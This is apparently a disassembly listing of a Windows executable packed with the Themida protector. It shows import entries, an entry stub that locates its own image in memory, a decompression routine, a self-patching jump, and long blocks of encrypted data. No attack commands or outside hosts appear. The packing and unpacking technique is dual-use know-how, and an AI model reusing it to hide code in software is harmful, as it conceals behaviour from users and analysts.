		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 000E0000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 4E0000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 4B45946Bh, 4B783h, 54098h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C0A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053F46D SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053F6E3 SIZE 00000055 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 0, 4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:00437A3Co
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0E026Ah
		add	ecx, edi
		jmp	short loc_4E0090
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53C0A4
		mov	ecx, offset word_4E026A


loc_4E0090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53C0A4
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
; ---------------------------------------------------------------------------
		les	esi, [ebx]
		push	ebx
		add	[edi-51EEFE32h], edi
		scasb
		and	dl, [edx-3744E41Fh]
		and	[eax+3BD7FF46h], edi
		mov	eax, 37024F3h
		test	[ebp-22h], edi
		inc	ebp
		db	36h
		retn	7F37h
; ---------------------------------------------------------------------------
		db 0AFh
		dd 0E6D53417h, 1EE10335h, 354BCFEh, 696D6568h, 6A846164h
		dd 0E17122EAh, 9822BF1Bh, 0C8BF1EE1h, 0FC46B811h, 46B88733h
		dd 3007AFEBh, 8312D34h,	22477E5Fh, 0D0D78F70h, 1EE103C6h
		dd 0E101E8AFh, 52B8BB0Bh, 74736507h, 41337261h,	0D32E8B70h
		dd 58A7E478h, 0B844D1AAh, 10C5728Bh, 80E860D4h,	0D3ED815Dh
		dd 60B0333h, 102D9589h,	91B50D08h, 7D858428h, 0BD830721h
		dd 0E70506Fh, 0E88B0C74h, 0FB8E245h, 7078C24Dh,	91E32444h
		dd 6A06A53Eh, 29A3E845h, 749A6807h, 0DFA50783h,	4B250A01h
		dd 0D5E90A89h, 214E910h, 405F4C91h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	dword ptr [ebx], 0FFFFFFC4h
		fsubr	st, st(6)
		add	[edx-7Fh], ebx
		jmp	far ptr	0C7DAh:8B0034C1h
; ---------------------------------------------------------------------------
		dw 4524h
		dd 0E6C08D8h, 8896340h,	80F37D81h, 0F741D19h, 83FC0820h
		dd 0FF45CC2Bh, 0EB314312h, 61DC36E1h, 0C90A26BAh, 34604C2h
		dd 0FF7CC481h, 10490247h, 8D00350Ah, 5D8B8045h,	8551C708h
		dd 8D501219h, 0C3D10A80h, 412A1888h, 81280B89h,	5D8006BDh
		dd 27A5E375h, 64BA8D0Ah, 8075013Bh, 0F4BB0E8Ah,	3B85B24h
		dd 785437ABh, 0FF3D0D3h, 754B080Eh, 0C3AFC1F7h,	4A494647h
		dd 0A8F94618h, 0AE61D142h, 0F0D0818Ah, 28EEF6D7h, 284DFC45h
		dd 0F2AD04EBh, 3E803146h, 4DBAF740h, 8634B984h,	7FEB0C7Dh
		dd 32F8433Eh, 13F0126Dh, 10F40E2Ah, 65C14A05h, 0D60004F0h
		dd 3E0D1F8h, 2880E5C2h,	1C8ADB33h, 0FB738030h, 0A0A7230h
		dd 0F4057739h, 22C9FBEBh, 192914A6h, 0FD660A0Dh, 7D1EBD08h
		dd 0B00AC33Ah, 72411A10h, 460AC30Bh, 247A0677h,	615D0188h
		dd 83F4ECF0h, 7202CC7Dh, 0C00CB06Ch, 99A5DD76h,	7F826AAh
		dd 0A88D1D38h, 553B02A8h, 78820FFCh, 6B0BDA7h, 43F938AAh
		dd 0B98308BAh, 0FCA17082h, 3650BDh, 7470FFEh, 0B9FA7549h
		dd 736A1722h, 0D18F01BBh, 0BCEB82F1h, 8E01760Ch, 0C384486h
		dd 9D605107h, 0FB1DDF36h, 7268A94h, 305E928h, 10DB8C59h
		dd 133C0589h, 5CD98351h, 0D06BC32Ch, 0C304E956h, 0C45E211Dh
		dd 256D8A90h, 45820519h, 21801808h, 33C45646h, 210DC2EDh
		dd 76F1F481h, 67D831CFh, 0D4D9C06Dh, 14C034CBh,	5B4E3982h
		dd 70F7E76h, 43D51B8h, 663BC7D1h, 751D5846h, 11582E09h
		dd 0AEC480Eh, 69065E4h,	0C5840064h, 57968E05h, 1E5381A9h
		dd 29C20415h, 0CE718C19h, 0AC0EB7E7h, 182BFF66h, 22047781h
		dd 0C103341Dh, 7533F984h, 3FBC2020h, 0EFEC0AEEh, 670230CEh
		dd 8C13EC41h, 0FFCC3F7Fh, 459F4021h, 0A060E9D4h, 152C462h
		dd 11254D8Ch, 9B1AA82h,	845AAB9Ah, 4C561311h, 82155EE7h
		dd 508162EEh, 8A892008h, 1344B9F5h, 4397230Ah, 0FE8B50h
		dd 0BCDA8D67h, 16A87444h, 94E2813Eh, 0ED23CB4h,	0A6CA0BDFh
		dd 0A13B6386h, 59185115h, 8A23C472h, 1E1145h, 0DBC45141h
		dd 0FD71ADEh, 0FD2ECCF8h, 8A109762h, 0D4812380h, 8619C813h
		dd 2C80C1Ah, 30573852h,	8AE4C45Fh, 1C227546h, 0C4574701h
		dd 0F46B83C3h, 181D4BD8h, 210FEA4Ah, 34A425B4h,	0A6C317F7h
		dd 6402E38Ah, 61587819h, 8AC8C460h, 0C089917Dh,	0E0C45848h
		dd 0BF4DA007h, 5C16B451h, 14562052h, 2D0EE930h,	94BBBCh
		dd 0DF9C59DEh, 5F857A96h, 10B1FB0Ah, 0A028398Bh, 0F906DA7Ch
		dd 7698C782h, 56B90316h, 2C1CC6BDh, 458E1081h, 0CBBB0E18h
		dd 803F1544h, 0C753CA59h, 3203C3E8h, 8B7FB830h,	731001FBh
		dd 10431F5Fh, 0CF1F4887h, 3E0C3398h, 4451B273h,	613B76F2h
		dd 90E01E53h, 0B95C8005h, 6151219Ah, 0F2290FAh,	0F0845A62h
		dd 0FDD907F7h, 8C150382h, 0B683A286h, 0DA186579h, 0E00F2DEAh
		dd 52830014h, 0F74E274Ch, 0D7F0B7FFh, 8CDFEB39h, 97383E1Fh
		dd 0FDE8B7EAh, 103F621h, 77986F22h, 0D2CB98D3h,	0CF710Eh
		dd 30B3D4Ah, 90E3CE84h,	0E6609B74h, 0C5C6E508h,	14851C2Bh
		dd 0F47F4D25h, 671FC18h, 0E2F0AB18h, 3E3DDE10h,	0DC20538Ah
		dd 1A2F4503h, 0F8EEF350h, 0EC40A1h, 6847664Fh, 0C60DBFE5h
		dd 0DC609E60h, 0A44941h, 48437824h, 8456ED31h, 85FB3Dh
		dd 0A696C66Bh, 0F6E23CEBh, 0C2F38BF6h, 0D868EC98h, 6BB18D00h
		dd 4A3BD5A1h, 6FC1009Dh, 78745E40h, 40C56A4h, 0D1EACEFCh
		dd 52EC0042h, 0DE0C0337h, 5303A672h, 4F9106E1h,	909000D7h
		dd 0B550E997h, 4303DEBFh, 0B27B243Eh, 0DF881F9Fh, 3D0900D4h
		dd 0FDFF301Ah, 0AC70E0C0h, 0A0CF2BF2h, 1A7B634h, 0FDC0FFDFh
		dd 0C4507CDCh, 0B300CD40h, 2F35FBE1h, 14F4F6E4h, 9C2AA00Dh
		dd 48B83F8Fh, 9D4169F5h, 68299FF0h, 8BC21ECh, 1B00A83Eh
		dd 1C3D5DDBh, 0F57B3150h, 0C7AA7A89h, 9EF12009h, 847C0329h
		dd 5E4105EEh, 83605D67h, 0C09C8E10h, 8324A9D9h,	0E0BF5A30h
		dd 6030C21Ch, 626ED92Fh, 50DCD493h, 49ED848Ch, 7FDE00ECh
		dd 4C32CDC3h, 19C1F483h, 1E7BE6FCh, 95E9C8h, 4CC69F03h
		dd 7ABD51F0h, 0D4B0A255h, 1E00E3A4h, 0E9328D54h, 30EC3DFCh
		dd 2421A11Ch, 0A060EA73h, 13016790h, 4E921A6Fh,	880488A1h
		dd 0E8CE45F6h, 0C2D2B840h, 700F9Eh, 31751CDEh, 0A369173Ch
		dd 0E793AD03h, 77B55671h, 5B0F5C40h, 43581A00h,	72A19C05h
		dd 0BFBE9A18h, 88EC2061h, 7A306A6Eh, 9C3D18B0h,	93BEF29Ah
		dd 18EC0604h, 0AA18B9A7h, 6591E372h, 0FDB4001Eh, 0F4696E7h
		dd 0CB61827Ah, 1B581D48h, 0F4B081D2h, 0F4489961h, 45E84420h
		dd 0AA183E71h, 0D551DE68h, 9DF3194h, 56EB50B8h,	0CE20A0F8h
		dd 0AA203B9Dh, 0C531EEB2h, 96702044h, 42415400h, 8CD2A30Dh
		dd 0FF90A19h, 40DC84E1h, 14023192h, 4383BE00h, 0E5B97B2Eh
		dd 0ED2513C1h, 29511820h, 7300F886h, 0B827898Ah, 3DE9AF5Ah
		dd 9A09943Bh, 1423C31Ah, 0C111DF90h, 3C00E76Eh,	0A9E0864Ah
		dd 711201F0h, 5020F2A5h, 928E72C4h, 0F18700F4h,	0E7250C5Ah
		dd 6531F4ECh, 50B9C997h, 0F889F2E9h, 0C0023B46h, 0E402DF7Bh
		dd 0A54446Ah, 15E85813h, 51E50FECh, 12A62E1h, 90498EADh
		dd 0CE6DA628h, 77DB0570h, 0E092F1h, 1C740DE8h, 6230707Ah
		dd 5B14D1D6h, 0CAE11D5Ah, 0E82900A2h, 68BA5CDh,	8449807h
		dd 10F7ED8Ch, 0AE70E4E0h, 195B00C4h, 0A6CD3DB8h, 253A5E67h
		dd 510075D0h, 866242EEh, 3C69AE4Ch, 0C600EF0Eh,	124335DCh
		dd 313E2F8Eh, 0C85B808Fh, 0B01963C4h, 0BB101DE0h, 0B792C0D4h
		dd 0A65C5368h, 26F6ED00h, 6BCC37A7h, 0EEEC005Ah, 8FE1AC1Eh
		dd 3092CF20h, 904CCE03h, 993BE59Ah, 0C44BB30h, 1CC0DC97h
		dd 50926AEBh, 41A7A8C2h, 7A8001E9h, 289900A0h, 38F6699Fh
		dd 202AA419h, 0CA058827h, 0C5B5B11Fh, 0AB8F3B80h, 0E7479862h
		dd 0F8404022h, 0DE781FA5h, 0C3AE4A26h, 943D02BCh, 0C0496F20h
		dd 50A830E1h, 6A88777Dh, 64B14D0Ah, 66DBC601h, 20F2EC26h
		dd 6F0831A8h, 0EC88272h, 9E6048F6h, 62169D71h, 0F4B28A24h
		dd 1132086h, 73DD0960h,	20A57Ah, 3234241Ah, 5E978001h
		dd 8AC3A49Ch, 1E826C5h,	44BC90B5h, 461A65E3h, 0A578FB14h
		dd 448CB558h, 303F07E6h, 70488F3Bh, 9EE01B82h, 78613900h
		dd 216F5F64h, 0F4B73BB5h, 198364C8h, 842338h, 243DD27Bh
		dd 0B12628A3h, 5A0E008Ch, 0A09EE493h, 69C1F123h, 0A4266845h
		dd 1B8800C3h, 6BF2BAB0h, 132CECB6h, 0AA86205Ch,	30B9F570h
		dd 0E471A4C5h, 210FCF43h, 0D20B48h, 0CC3B0FEDh,	0B08C3DD6h
		dd 9A0C4EBCh, 78F861ADh, 93C9140h, 0F347281Ch, 48D54A9h
		dd 0F37EE951h, 60673111h, 0AA2E651Fh, 1299C4D0h, 18FB4910h
		dd 7791Ch, 0E1DB6E93h, 1CC4A5ACh, 8F6CEF04h, 0BCC821A0h
		dd 59676FF4h, 0E1FBF100h, 4004666h, 0FC96E817h,	30A0A6E3h
		dd 9A306124h, 552C60E2h, 0A36008BBh, 72BB4FEh, 0A0681BEBh
		dd 0AD10F292h, 9997C886h, 1C3A5CB2h, 862CCC58h,	0C799295h
		dd 0E8FB3891h, 6A007218h, 0E2F10E96h, 0ED072819h, 6E42C20h
		dd 0CB20C2BEh, 0AB4C28DEh, 11C8D01Ch, 0EB08E469h, 33E9C11h
		dd 53D54794h, 4DD1E7A3h, 0D88906CCh, 9890CF31h,	3500E2BFh
		dd 73547604h, 0C142F26h, 955CF4EBh, 4F07F0A1h, 0FB273E7Bh
		dd 0FC6893C0h, 5992786Eh, 231164DAh, 0E5CE18F3h, 1627259h
		dd 0A29E053Ch, 203DBB02h
		dd 6F88E834h, 0C0F258D1h, 13D09E10h, 98048AD4h,	0C506CF57h
		dd 0A51D81A3h, 88406150h, 9AFA3CF5h, 55A90014h,	4EB7212Eh
		dd 6EC0B55Dh, 0DD4119C6h, 80AE5579h, 87DC2EE1h,	20BF00EAh
		dd 0D89B3033h, 3800D6CFh, 0D05FAD34h, 506B90D1h, 48DCFC46h
		dd 83182CEEh, 0C28A9F8h, 60248E00h, 5D02A4AFh, 2B110132h
		dd 0D07CA1B1h, 33E3CE14h, 0EE6F7100h, 15F8C47h,	38050481h
		dd 98EF3E44h, 1E140DF4h, 3FC40420h, 0FC692C5Eh,	7C501B40h
		dd 45F8A01Ch, 8050E9C5h, 3C97E374h, 0A91C4392h,	6ABC80EBh
		dd 45F6868Dh, 267C6702h, 69C442A3h, 98E2F278h, 301DDDACh
		dd 0C6700C84h, 1A5CECA5h, 82A48180h, 0C501BAC2h, 10719C96h
		dd 805F8549h, 7AD6BFFCh, 4B09154h, 0A09E7270h, 0CD0CF1C8h
		dd 3998C60Bh, 3ACF6CCh,	90CF744Fh, 0F822938Fh, 1DEB28E9h
		dd 0A2C4083Ch, 391966Eh, 0F922FC58h, 5307FD07h,	2EC07Bh
		dd 0E146C3E2h, 0EE80002Dh, 0B169DA7Ah, 451CFCA9h, 181825DEh
		dd 176701E0h, 0DC04CDh,	0EB935385h, 1009AE56h, 8FE43D70h
		dd 3B90880h, 0B3651236h, 46E560F0h, 0FB5D6707h,	0A8666A16h
		dd 0AE6E1EE1h, 0A0A49566h, 0E527D000h, 7A6F3361h, 28A58E37h
		dd 0ECDE8249h, 82708917h, 0F971240h, 0FD8C9DDh,	0AEEF28A0h
		dd 934220A0h, 1F18283Ch, 23DAF9E7h, 0F72450B0h,	0F00C040Bh
		dd 8A2D30B7h, 801E5481h, 0B4FC00F9h, 0B06098D6h, 0A4A55360h
		dd 0C01CED22h, 5E1C114Dh, 83043CECh, 14939ED6h,	1A307189h
		dd 50F8B025h, 510E0885h, 4B00F8CCh, 0E8A02C98h,	9D55BE71h
		dd 11DC248Ch, 0E0827D03h, 5005B425h, 0BA9EC4E1h, 0AD792A90h
		dd 99850088h, 257E3CD6h, 10000864h, 66527662h, 28C0506Dh
		dd 49B43DC8h, 0C406C044h, 88947682h, 4A34697Ch,	30A26023h
		dd 0F302253Bh, 0CF9AAB44h, 3662F0C0h, 7878BA62h, 0B12220A3h
		dd 0D401387Ah, 0A425E852h, 94245E72h, 5AA01E34h, 105102AFh
		dd 0DC85DD3Fh, 0F902073h, 0A2179C6Ch, 0E04F991Eh, 5D43A0C5h
		dd 1679273h, 0F1B529D3h, 80AC78FFh, 7E6CB471h, 527286h
		dd 0C406CE47h, 0EEAB8842h, 0A9D28100h, 0F42DCB65h, 59E866h
		dd 4A443E64h, 0D46C4688h, 96DC1C0Eh, 0E64380B9h, 0A3F12C1Dh
		dd 0C6459888h, 83F0A89Fh, 0FD56583Ah, 0A780BA3Bh, 10A39342h
		dd 710A8275h, 0D4ACF27Ah, 0F4EA2A80h, 5867581Bh, 0E041CE3h
		dd 0A83292h, 0A2308611h, 0F4E917F9h, 1B1C205Dh,	648E328h
		dd 0A0660140h, 2B4E60D7h, 686229D5h, 0D1D81A7Ch, 50843042h
		dd 0F9684753h, 0C4FF82E1h, 887E044Eh, 3000B7F9h, 467C8005h
		dd 1F94CE49h, 0DBE7BFC8h, 0C7AA1968h, 81FEB141h, 0A81BC40h
		dd 2FFC389Fh, 597E605Fh, 32F7EA83h, 0C47F21Dh, 0C84800FEh
		dd 0C9E33EFDh, 31C400CEh, 5397FC5h, 2F0FE252h, 4764D4B6h
		dd 0AD8E4E8Eh, 300C103Fh, 84FADFh, 302DCE3h, 0AD8B15A9h
		dd 76BCF00h, 7C7FD3FEh,	7A491B4Ah, 72E3B883h, 4241C810h
		dd 677DE005h, 767C08C9h, 9934341Ch, 0B146840Ch,	0E2541F17h
		dd 378870D4h, 38C0C673h, 0B26165BEh, 0D975160Eh, 30371081h
		dd 0A4B7FD0Ah, 0C1489C94h, 987BC52Fh, 0FD51D16Ch, 2854019Bh
		dd 686E0848h, 50B491FAh, 0A8A87BE1h, 541813C1h,	19919C2Ah
		dd 5D4A3280h, 1BE06279h, 0D8612A4Ch, 4ACC8221h,	22277440h
		dd 18325480h, 6A5918B9h, 0F04C80A7h, 0E14CA8DFh, 7ADA715Ch
		dd 4441C702h, 540F4067h, 3745DA3h, 4200B3F0h, 0E8EA62A9h
		dd 0A1916BC4h, 0C5104584h, 0C26065C0h, 0E8F7EC41h, 0E5DD039Ah
		dd 497CE38Eh, 31F2A7EFh, 0D698AFC5h, 2A01F890h,	5DC94CA0h
		dd 0A07C1A28h, 3265FA19h, 4EC8E451h, 74A976E3h,	6AAD0046h
		dd 7D537F10h, 0BF0D473Ch, 0C10108A3h, 507CBBD0h, 14908B7h
		dd 912FBCFAh, 53A0E7C8h, 101580D0h, 1D8037E1h, 705CD4B8h
		dd 0F44CCC4Ah, 0C1971831h, 284FBAC1h, 0A18C9824h, 85D0E128h
		dd 4A588A61h, 0B8D062h,	30FB452Ch, 3ECBBF31h, 0CAB03538h
		dd 3C8D52F1h, 78BBD10Ah, 0FC7840C2h, 83351B26h,	0A0D039BFh
		dd 52C748C9h, 2C0F03B9h, 24D39180h, 144C97EEh, 0CA8AF436h
		dd 0C815D63Ch, 8D464E8h, 8324C099h, 0B2B77BC4h,	0B1343142h
		dd 15D20173h, 8F47EC80h, 96FCEA0h, 0C6DAC529h, 8606B423h
		dd 0CA493AF0h, 0CFB8A42Ch, 68564820h, 0D986C8BCh, 9C9CC17Ch
		dd 0E992B961h, 0E7C70802h, 7FA8A760h, 0CC2CA189h, 618C754Bh
		dd 0D1A9EBA5h, 62322084h, 0EC5D7F03h, 3CC8434h,	80264B71h
		dd 99885415h, 30E9C6Fh,	524465E4h, 270D015h, 0DA278EB0h
		dd 2DC461FDh, 0DD01819Eh, 1429BECBh, 0BC379420h, 0C3ED6D82h
		dd 45A07840h, 0FD489C90h, 0C5C107A0h, 3033C6BFh, 10085093h
		dd 38CE638Fh, 4A90D58Eh, 6C00E9E8h, 19BA03DCh, 3A39CF6h
		dd 0F845CC4Ch, 46F0D0CBh, 1100360Bh, 15871BE3h,	0F5D18h
		dd 478EFA4Bh, 1470A01Fh, 6F8BD202h, 0E0AD8C25h,	48585h
		dd 535CB197h, 0E40C2A0Dh, 401D0732h, 746343h, 419FF941h
		dd 6F82CC11h, 0CF907B00h, 3950DE28h, 7FD8E3D0h,	0C2600E6h
		dd 148754F3h, 197655D6h, 568ECB00h, 1142ECFBh, 6D812CFEh
		dd 0D5044888h, 4BF8A87Eh, 58EE091Eh, 0D800CC07h, 40D9C326h
		dd 0C048DE00h, 7C2BC790h, 16290038h, 421D45E4h,	18036A17h
		dd 5AB93685h, 1540001Fh, 80167504h, 283AA655h, 0BE390EE1h
		dd 0D7B609Dh, 7F9D12Eh,	190C2DE0h, 284905Eh, 1F0E538Fh
		dd 0F0E25AF4h, 0A1552A00h, 3A85034Bh, 5FC9B400h, 0DB82E650h
		dd 61463818h, 0D59EB01h, 0D4B8F855h, 5B0117ADh,	1F75D10Eh
		dd 0D029624h, 22673861h, 80A5EB94h, 1846DE1Fh, 6C8B0200h
		dd 28A75525h, 3A840003h, 7F39C5B1h, 160026F6h, 0B5B1C15h
		dd 0E25CE9h, 4FB9CCC0h,	0DC59E71Fh, 2D7E3E00h, 4ED98BF6h
		dd 0BF8700DEh, 4638D3A7h, 0B400ED05h, 45994BFCh, 7DB7015h
		dd 4FBA368Ch, 1740E021h, 1B007E3Fh, 28AE8EF6h, 0BD8809h
		dd 795DD1CBh, 1519E3F9h, 0E1D601Dh, 80127040h, 785BACCh
		dd 116CECF4h, 81AC6F3Fh, 9163A40h, 8C6AC5C2h, 0B5D000BFh
		dd 469FE851h, 8BD10014h, 0D7C1261Ah, 3AE8CD3Dh,	63CED510h
		dd 160D3300h, 0E141875Fh, 811E58h, 0E8448ECBh, 9B59EAh
		dd 372DB6C9h, 0D25A7C5h, 0C4F85C00h, 0F44D2C06h, 1E18F2E3h
		dd 0C045976Dh, 3A550FE1h, 240185C0h, 0FFDE41EEh, 0E0EB2A88h
		dd 0FCC329Dh, 0CDDB3948h, 0E3E77620h, 1B12F10Fh, 0FC1C0E5Eh
		dd 8CFA8480h, 0E81986h,	0AF3F1058h, 0E4908216h,	8503483Ah
		dd 3606B53Bh, 2030AC82h, 69170D84h, 8998AEEh, 0F47F04A3h
		dd 0B5111400h, 0BB08EA4Eh, 34EF00F5h, 0C4F354D1h, 34A58196h
		dd 49A150h, 0F18718E6h,	4ED2E5F2h, 0A9A4F002h, 0B8E9E261h
		dd 60FAD31Ch, 9C7F10A6h, 0E87CC5BFh, 14D9B528h,	27FEDF00h
		dd 831445E3h, 0CB09E27Eh, 0EC20D708h, 0B928363Eh, 2F308B01h
		dd 764CCBAAh, 40F45D13h, 6B704373h, 156C00B0h, 0D32F492Ah
		dd 0BE05B8DCh, 0AD8B124Eh, 33AE4E0h, 5396221h, 80B8D1C5h
		dd 93003622h, 4E66BFC8h, 0CAB835D0h, 0B641D38h,	69839FF9h
		dd 0BC887C7Ah, 7F53E9D0h, 30CE201Ch, 4AD9FE09h,	1100DA41h
		dd 716BBFCAh, 605DFD18h, 0A48EB12Eh, 0C13C2208h, 0C5A70062h
		dd 0A3F5BD5Ch, 0E8FCCAh, 60B4DF11h, 7D47CC22h, 0B78189DCh
		dd 7C7FCAADh, 0C4054F1h, 0E909A69Dh, 27E01E03h,	416059B9h
		dd 432A4CE9h, 84C0BEADh
